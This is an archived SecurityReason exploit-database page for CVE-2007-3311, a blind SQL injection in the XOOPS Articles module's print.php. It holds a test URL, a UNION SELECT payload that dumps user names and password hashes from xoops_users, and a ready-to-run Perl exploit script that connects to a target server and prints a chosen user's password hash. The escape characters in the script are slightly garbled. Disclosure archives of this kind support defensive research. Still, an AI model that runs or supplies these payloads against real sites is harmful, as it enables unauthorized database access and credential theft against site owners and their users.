SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection Exploit And PoC


Arrow  SecurityAlert : 2817
Arrow  CVE : CVE-2007-3311
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : UniquE
Arrow  Published : 26.06.2007

Arrow  Affected Software : Xoops All Version



Arrow  Advisory Content :  

Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection Exploit And
PoC

Type :

SQL Injection

Release Date :

{2007-03-26}

Product / Vendor :

Xoops Portal

http://www.Xoops.Org

Bug :

http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

PoC :

http://localhost/script/modules/articles/print.php?id=3/**/UNION/**/SELE
CT/**/NULL,NULL,NULL,NULL,uid,uname,pass,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/LIMIT/**/1,1
/*

Exploit :

#!/usr/bin/perl -w

#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################

use IO::Socket;

if (@ARGV != 3)
{
print "n-----------------------------------n";
print "Xoops All Version -Articles- Print.PHP (ID) Blind SQL Injection
Exploitn";
print "-----------------------------------n";
print "nUniquE-Key{UniquE-Cracker}n";
print "UniquE[at]UniquE-Key.ORGn";
print "http://UniquE-Key.ORGn";
print "n-----------------------------------n";
print "nUsage: $0 <server> <path> <uid>n";
print "Examp: $0 www.victim.com /path 1n";
print "n-----------------------------------n";
exit ();
}

$server = $ARGV[0];
$path = $ARGV[1];
$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80");
printf $socket ("GET
%s/modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,
NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0nHost:
%snAccept: */*nConnection: closenn",
$path,$server,$uid);

while(<$socket>)

{
if (/>(w{32})</) { print "nID '$uid' User Password :nn$1n"; }
}

Tested :

All Version

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.